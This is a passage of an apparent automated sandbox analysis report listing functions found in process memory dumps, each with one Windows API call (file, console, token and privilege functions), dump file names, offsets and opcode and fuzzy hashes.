Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: a9339a5a2f9a8d49d9214c64e40d1c995a6c46305ca13c96925b7d5483db07d0
Instruction ID: ad041cc28e21a4308c5b0d080f688f23f1457dbdb9480719941cff2d47fd895f
Opcode Fuzzy Hash: a9339a5a2f9a8d49d9214c64e40d1c995a6c46305ca13c96925b7d5483db07d0
Instruction Fuzzy Hash: B631396650E3C08FE7138B759C65691BFB4AF03210F0E84DBD884CF1A3D6699849DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0281067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0281072D

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 82ccf107a41d8f3e79862262cf152978614e8698350e68a61da5476122132864
Instruction ID: 491dad56b8a8bac385b40245164478045bd970c9695e738b8725dd10c0ca3032
Opcode Fuzzy Hash: 82ccf107a41d8f3e79862262cf152978614e8698350e68a61da5476122132864
Instruction Fuzzy Hash: 31316F75509384AFE722CF65CC45F52BFB8EF06210F09849EE988CB292D375A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02810D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02810DD6

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: c0fd03595d8064653299288dbf23ac5d9182f16c9e8e1c3154789782954d4b3d
Instruction ID: fdea5b531c712219cd2205e1430a1a92fa60f82266ffb36b3ab77af76e01741d
Opcode Fuzzy Hash: c0fd03595d8064653299288dbf23ac5d9182f16c9e8e1c3154789782954d4b3d
Instruction Fuzzy Hash: 8D31B675509380AFE712CB25DC45B96BFE8DF06214F0884AAE948CB293D275A905C772

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFBDBC

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ecb534cffda2b34ace0bfbc150fe2b3a01174b99a9a60d882050571540eb92eb
Instruction ID: 6843f16c890b7bdf2de7ce4cf333fd9c0ed58cf75a757b76ae632e299ab13d39
Opcode Fuzzy Hash: ecb534cffda2b34ace0bfbc150fe2b3a01174b99a9a60d882050571540eb92eb
Instruction Fuzzy Hash: 3331B172109380AFE722CB60CC45F96BFB8EF06210F08849BE984CB193D224A908C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFAFBE

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 6e6ddf7e96e62fb8cc43aebdedc9ca6b00c103f9168edde5eff997b8692f06a5
Instruction ID: 58d4b43c8b7aa066ecd7ce22956f7df7c431efc626faa1555c5997e0edc39a1a
Opcode Fuzzy Hash: 6e6ddf7e96e62fb8cc43aebdedc9ca6b00c103f9168edde5eff997b8692f06a5
Instruction Fuzzy Hash: F021B4B2509380AFE712CF64DC45B96BFB8EF06320F0884DBE984DB193D265A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 02810FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0281109E

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: cbf77492f8e405a191986b59f44e4f8b3b9753c37e724eb30b277a235e566388
Instruction ID: 846fd09d4f63d27371fa1108c3fea36582101127e9dddff83d0a40243b355344
Opcode Fuzzy Hash: cbf77492f8e405a191986b59f44e4f8b3b9753c37e724eb30b277a235e566388
Instruction Fuzzy Hash: EE31717550E3C06FD3138B358C55B66BFB4AF43610F1A81DBD984CF2A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFB0AE

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: fa039c158840a0b0e85b5543934911f9a6e343e0c4948643c617a7d32bf10e99
Instruction ID: b540121fc96c888f732ce7257e693bdaaa31ecd4fe8e5c048c2229ee63260c58
Opcode Fuzzy Hash: fa039c158840a0b0e85b5543934911f9a6e343e0c4948643c617a7d32bf10e99
Instruction Fuzzy Hash: EC21A3B1509380EFE722CF15CC45FA6BFB8EF06220F0884AAE945DB152D764E948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01CFA23E

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: ec98d4f96cf8b434b9ec5dbe0f855f49c074fc1460d1d172ac2de1d75b3697aa
Instruction ID: 8237d5907876c9cbd11efeab17508fa95b34f2f05f22f70e3f34f14ffcf3050e
Opcode Fuzzy Hash: ec98d4f96cf8b434b9ec5dbe0f855f49c074fc1460d1d172ac2de1d75b3697aa
Instruction Fuzzy Hash: E421C97150D3C05FD312CB258C55B66BFB4EF47620F1981DBD8488F193D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02810784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 02810819

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 531929deab42bbf6dfa6f234aa49de9688bf450912c1048bcba5ad80f47252b8
Instruction ID: 4db4f2ec5bb0c753490d1a936f3118cf51c2037cc9dfc14eb3cea5a9844c148c
Opcode Fuzzy Hash: 531929deab42bbf6dfa6f234aa49de9688bf450912c1048bcba5ad80f47252b8
Instruction Fuzzy Hash: D221F876408780AFE712CB159C41BA3BFA8EF46724F0881DAED888B193D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 02810464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02810502

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: cc91afe744c9746921ead5b3a8a6eaf1b0747029d196f5559abe3af03077dea8
Instruction ID: c4f2fd1f8b1cb26963b7bf5432c43854cc8353f4a7dd65d2f4d87a53417c3d04
Opcode Fuzzy Hash: cc91afe744c9746921ead5b3a8a6eaf1b0747029d196f5559abe3af03077dea8
Instruction Fuzzy Hash: 44216D7550E3C0AFD3128B258C55B62BFB4EF47610F1A81CBD8848F6A3D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 028106AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0281072D

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1325abfb1277a29a7f62c3531bc0b224d0b4dfd42e7277a930d50cb8ab260e14
Instruction ID: 325f104b0ce16189ff66d5b9b83a627c6a68ca3cfd4fa36a3a1bebc9700f7e45
Opcode Fuzzy Hash: 1325abfb1277a29a7f62c3531bc0b224d0b4dfd42e7277a930d50cb8ab260e14
Instruction Fuzzy Hash: 8C219C79500304EFEB20DF65CC85B66FBE8EF08210F04886AED49CA292D772E944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02810854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 028108E5

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3c42a8ee6b62bfd250e9a95b3bd64040df99a2aed159f104ce45f85495e7bb8d
Instruction ID: 306cc6b5868f26fca864c462bc9702b82e45ea154ac3a85940d8befd9a9b1924
Opcode Fuzzy Hash: 3c42a8ee6b62bfd250e9a95b3bd64040df99a2aed159f104ce45f85495e7bb8d
Instruction Fuzzy Hash: 79219275409380AFE722CF51DC45F56FFB8EF06314F09849BE9489B193C265A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01CFA94A

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: db5573c838589cc6a01a21d682a054fcaf38bca4f5f2a079d66d1c4f3352d1bb
Instruction ID: e2ccf2c34221477fc56fef814c91b7fb8e6cd1d302fe134511b987569f1d2b39
Opcode Fuzzy Hash: db5573c838589cc6a01a21d682a054fcaf38bca4f5f2a079d66d1c4f3352d1bb
Instruction Fuzzy Hash: E021D77140D380AFD3138B25CC51B62BFB4EF87720F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02810D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02810DD6

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 32514dbeaa689f4faeacf4415e18ba870a03a93ee45cf6e401634be228d62ec7
Instruction ID: 730e0d0dcc41a90c60d328eb2a261d5ffb2436e60387f78934ca8e175ddee803
Opcode Fuzzy Hash: 32514dbeaa689f4faeacf4415e18ba870a03a93ee45cf6e401634be228d62ec7
Instruction Fuzzy Hash: 5F219D75604244AFF720DF25CC85BA6FBE8EF04264F04856AED48DB282D775F944CA62

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFBDBC

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 81a19d8460978fad3b2d47f2b4edad50687d156e79c1c7b08bd97958d0667929
Instruction ID: 1a12a5db8ec1a80d87ff485cf4fa6022fa61b516e0925e0aa2cdac57a0e8e8b2
Opcode Fuzzy Hash: 81a19d8460978fad3b2d47f2b4edad50687d156e79c1c7b08bd97958d0667929
Instruction Fuzzy Hash: 53119072500304EFEB21CF55DC85FA6FBA8EF04320F14856AFA459A141D670E9048BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02810F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02810FB0

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 16b14857b842c31f1390e275261070220effdf9eaa5d64f6f5f7870fc5b5669a
Instruction ID: 613871a336bc56530145f883f250a59ee8888c2a7ac647d6ae9607a380333af6
Opcode Fuzzy Hash: 16b14857b842c31f1390e275261070220effdf9eaa5d64f6f5f7870fc5b5669a
Instruction Fuzzy Hash: C9214C7550D3C49FDB128B25DC55B92BFB8AF02224F0984DAEC88CF693D2659948CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0281137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028113F0

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 6b28b6e235e188bb15d2e3b718f1ac23248778f0fe262969671194bb8b3813cb
Instruction ID: 831f573690333818d1b74ff3e9b78262959b86e7ca64590c71ce1b2f9e94e336
Opcode Fuzzy Hash: 6b28b6e235e188bb15d2e3b718f1ac23248778f0fe262969671194bb8b3813cb
Instruction Fuzzy Hash: DB2192765083809FEB21CF25DC45B96FFB4EF06220F08849EED898B562D235A448DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFB0AE

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: b0f376132b9950fa5cbdf0491ad1e140b65b25d41e0cd7598bd73acb61998dd7
Instruction ID: a73313b8de50ec662c9a11592baad029f50323dfa2d6f247d7099b03cd437407
Opcode Fuzzy Hash: b0f376132b9950fa5cbdf0491ad1e140b65b25d41e0cd7598bd73acb61998dd7
Instruction Fuzzy Hash: 58117FB1604304EFFB21CF19DC85FA6BBA8EF04660F14846AEA09CB651D774EA048A61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01CFAB1A

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 122b4ecb5f32e7aa02b12ceabe176f5104b4ec1a5613460af4e7fc1457455c70
Instruction ID: 217020caee96bc01648c5cd6914f08124269e80b49930679ab21502ac3483c81
Opcode Fuzzy Hash: 122b4ecb5f32e7aa02b12ceabe176f5104b4ec1a5613460af4e7fc1457455c70
Instruction Fuzzy Hash: 8B2163716093849FE722CF29DC45B52FFA8EF46210F08849EED49CB652D265E508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01CFBB2F

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: a8d222c425e2603d39237869952e43d397b6727696bace3d6ed696a4d7f2671e
Instruction ID: c2b54e543b4192c55188752c8a20b575bf128845bcfc4ae20d327e9e26dd91eb
Opcode Fuzzy Hash: a8d222c425e2603d39237869952e43d397b6727696bace3d6ed696a4d7f2671e
Instruction Fuzzy Hash: EE219F725093C49FEB128B25DC55B92BFB4EF07220F0984DADD858F263D264A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028110D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02811148

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 9d3f23c12f0720ef3b7ad694e0c54495a66879508eb618cf658ca66309047604
Instruction ID: ad6c35d4496496de4c21b31f5f6685f190413bdcd9eb31c7f29083bcd400cadf
Opcode Fuzzy Hash: 9d3f23c12f0720ef3b7ad694e0c54495a66879508eb618cf658ca66309047604
Instruction Fuzzy Hash: 7B219D6540E3C09FE7138B259C54A62BFB4EF57620F0980CBD9888F2A3D2695808C772

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 01CFAFBE

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 7e76f6e81be3fda556c51e8dc9f2e5cad4807e6824455cf7e97446d45b4f906b
Instruction ID: da1a144926c6f2faa676b36a6bb32902a21fa481f55f9e92945c2f17d55870c7
Opcode Fuzzy Hash: 7e76f6e81be3fda556c51e8dc9f2e5cad4807e6824455cf7e97446d45b4f906b
Instruction Fuzzy Hash: 7F11C472500300EFFB21DF55DC45BAAFBA8EF44760F14846AEE098B181D670E9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02810886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 028108E5

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 85795449f6ec6076eb869444bafde12ed1d3c924b0b61828e66dcdac7e933550
Instruction ID: e29e26937bd2cb0b81cf1b6922bd089fc594c71698d7ffed2c7e107cbbec6feb
Opcode Fuzzy Hash: 85795449f6ec6076eb869444bafde12ed1d3c924b0b61828e66dcdac7e933550
Instruction Fuzzy Hash: B311017A004304EFFB21CF50DC40FA6FBA8EF04321F14845AED089A285C270A944CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01CFBA7E

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7003afe4fe582949d09240d12f3ee54a345b873a9c3a6f4425bb65c355e99270
Instruction ID: a6f528092a879d47d9d3203dd4ce97741b0d0f33c0d516772331a9a41a4cc5a5
Opcode Fuzzy Hash: 7003afe4fe582949d09240d12f3ee54a345b873a9c3a6f4425bb65c355e99270
Instruction Fuzzy Hash: 58117271508384AFDB22CF65DC45B52FFF4EF05210F08849EEA898B662D375E918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028112D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0281132F

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 0842a346753699206d457b0ead9b1ebbe9460fd018efb915537dbaa9e943d04d
Instruction ID: 5b84e44f0cfbefa65200fbe8999cdda7cda3c9a4d87c1fc5cad7aa11d2726c89
Opcode Fuzzy Hash: 0842a346753699206d457b0ead9b1ebbe9460fd018efb915537dbaa9e943d04d
Instruction Fuzzy Hash: 0E11C4755083849FDB118F15DC49B96FFA4EF06220F0884EEED498B252D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 01CFA39C

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 358f84899fc44524443dc2ad284798ceff7b113371bea3b2f199cee8e77ed1fa
Instruction ID: c04ee909748ec50265cbeec2d95d5da0382f0b7958393432159388e63e3a14a4
Opcode Fuzzy Hash: 358f84899fc44524443dc2ad284798ceff7b113371bea3b2f199cee8e77ed1fa
Instruction Fuzzy Hash: 06118F715093C49FEB128B15DC54A62FFB4DF47624F0880CAEDC84F263D265A908DB72

Uniqueness

Uniqueness Score: -1.00%

Function 028105E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02810640

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: ef1338c4b9f6d36bd7da50b36448dcd210ec1741337a5b09a473e472f52ffebc
Instruction ID: 8e381471e57fea32f8746cb44547e5ef56192c4ee1bb2e0688cd00c193cacbc1
Opcode Fuzzy Hash: ef1338c4b9f6d36bd7da50b36448dcd210ec1741337a5b09a473e472f52ffebc
Instruction Fuzzy Hash: ED11C2755093C49FEB128B15DC95B52FFB4DF42224F08C0DBED898B6A3D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0281092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0281099C

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 88916be224cd03c9a7044250ad1234d4e8a4ca401f2e63526e914b15b68ea938
Instruction ID: ed8c0e6efae5933df3d0a5fc607857390324038f173d68aaceb86f34fcfe4a4a
Opcode Fuzzy Hash: 88916be224cd03c9a7044250ad1234d4e8a4ca401f2e63526e914b15b68ea938
Instruction Fuzzy Hash: 0E1190755093C49FE7128B25DC55B92BFA4EF07324F0980DADD888B163C265A948CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01CFAB1A

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 09336d50a7c26dbeea53d6301107d43732a985a9abe9c8b86eb6707d68b73f43
Instruction ID: 62648959a378f193686e8ffc27b84c224dc58628d39ce41ef777dbbe781d4749
Opcode Fuzzy Hash: 09336d50a7c26dbeea53d6301107d43732a985a9abe9c8b86eb6707d68b73f43
Instruction Fuzzy Hash: 0C113CB6604344DFEB60DF2ADC85B56FB98EB04621F08C46EDE0DCB646D674E504CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01CFAA71

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 14ac545f377ae334731acf15b4837072f8da11f4087d97c86a957ff018f5ec57
Instruction ID: 4f28b77b7906875a3518836f3e405e64bc27280cb325436a84e27bc95c1cf463
Opcode Fuzzy Hash: 14ac545f377ae334731acf15b4837072f8da11f4087d97c86a957ff018f5ec57
Instruction Fuzzy Hash: 6511C17540D7C49FEB128B15DC85A91BFB0EF07224F0980DBDD888F163D268A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028107C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FF49B554,00000000,00000000,00000000,00000000), ref: 02810819

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 2ba7e310930ac8b25e380fe89f317e35b1c21bdb267c4eb6b9a22f696e544dbe
Instruction ID: daa5240080786ee29e6b3321a2466be8271a365c9cdaee83ea2a21437968f085
Opcode Fuzzy Hash: 2ba7e310930ac8b25e380fe89f317e35b1c21bdb267c4eb6b9a22f696e544dbe
Instruction Fuzzy Hash: F601C079504304EFFB209F05DC85BA6FB9CDF04725F14C09AED089A281D674A944CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 028113AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028113F0

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: f07ce93e4a2695e76ee27676be59f2944456c023ca3aa3eda3f1aad220a8d5ec
Instruction ID: 0e010c36eff512eac6c264277b0d37c3d6019a819827e9fd139ae46884121d3a
Opcode Fuzzy Hash: f07ce93e4a2695e76ee27676be59f2944456c023ca3aa3eda3f1aad220a8d5ec
Instruction Fuzzy Hash: DB117C79500700DBEB20CF55D889B66FBA8EB04624F08C4AADE49CA652D275E448CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01CFABC9

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 8d8d1d20b501925b7cc504d19ec8ad3c6d381cfc6f6af508ae9fcabaa01830a4
Instruction ID: 998dfed6608f663b07603eb3f9d559bbb264636ee63fa653a81f0c488d2c074b
Opcode Fuzzy Hash: 8d8d1d20b501925b7cc504d19ec8ad3c6d381cfc6f6af508ae9fcabaa01830a4
Instruction Fuzzy Hash: 3411ACB55093849FEB11CF65DC85B82FFA4EB02224F0A80ABDD488F253D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01CFBA7E

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7b0929a56cb31b7aa3980beab80de4488af5218221ab453d69f3f29eaa6ccc5d
Instruction ID: 7bdf1bbc22ac80cbc83d06bbaaf436d06aeea7f14d474b4f9d72b9f1a8540208
Opcode Fuzzy Hash: 7b0929a56cb31b7aa3980beab80de4488af5218221ab453d69f3f29eaa6ccc5d
Instruction Fuzzy Hash: 7C117C72504704DFEB61CF59D845B52FFE4EF04221F0884AEDE498A622D371E918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02810196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028101D0

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: e7cdbe8fcbd98f4c2d74f73e867eae31cc57894b4eb182d9fe5a01ed53715c55
Instruction ID: ca4e2a991a31a8125827a5373035d16476a08723104a8cd67260a905ceb5ba26
Opcode Fuzzy Hash: e7cdbe8fcbd98f4c2d74f73e867eae31cc57894b4eb182d9fe5a01ed53715c55
